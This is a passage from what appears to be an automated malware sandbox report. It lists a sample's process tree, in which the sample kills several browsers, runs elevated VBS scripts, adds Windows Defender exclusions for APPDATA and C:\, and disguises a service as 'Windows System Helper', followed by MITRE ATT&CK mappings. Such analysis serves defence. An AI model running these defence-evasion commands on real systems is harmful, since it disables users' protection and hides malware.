    PID:4144
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5176
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5368
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5444
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5512
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5708
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM yandex.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1782239226015.vbs" /elevate:true"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\temp_1782239226015.vbs" /elevate:true
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:5752
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3216
  - - C:\Windows\system32\cscript.exe
      cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sex.vbs" /elevate:true
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:5948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath $env:APPDATA; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config node DisplayName= "Windows System Helper""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5536
  - - C:\Windows\system32\sc.exe
      sc config node DisplayName= "Windows System Helper"
      4⤵
      Launches sc.exe
      PID:5396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
    3⤵
    PID:1176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1928

C:\Program Files\Windows Defender\MsMpEng.exe
"C:\Program Files\Windows Defender\MsMpEng.exe"
1⤵
- Modifies Windows Defender TamperProtection settings
- Windows security bypass
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: LoadsDriver
PID:4664
- C:\Windows\system32\wbem\mofcomp.exe
  C:\Windows\system32\wbem\mofcomp.exe "C:\Program Files\Windows Defender\ProtectionManagement.mof"
  2⤵
  - Drops file in System32 directory
  PID:4396
- C:\Windows\system32\taskkill.exe
  C:\Windows\system32\taskkill.exe /f /FI "MODULES eq protectionmanagement.dll" /IM WmiPrvSE.exe
  2⤵
  - Kills process with taskkill
  PID:1092
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" SignatureUpdate -ScheduleJob -RestrictPrivileges
  2⤵
  PID:2444
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" SignatureUpdate -ScheduleJob -RestrictPrivileges -Reinvoke
    3⤵
    - Drops file in Windows directory
    PID:2516
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" GetDeviceTicket -AccessKey 83E9491D-4689-84C5-9E79-E05A4DF94C31
  2⤵
  - Drops file in Windows directory
  PID:6108
- C:\Program Files\Windows Defender\MpCmdRun.exe
  "C:\Program Files\Windows Defender\MpCmdRun.exe" SignaturesUpdateService -ScheduleJob -UnmanagedUpdate
  2⤵
  PID:2984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery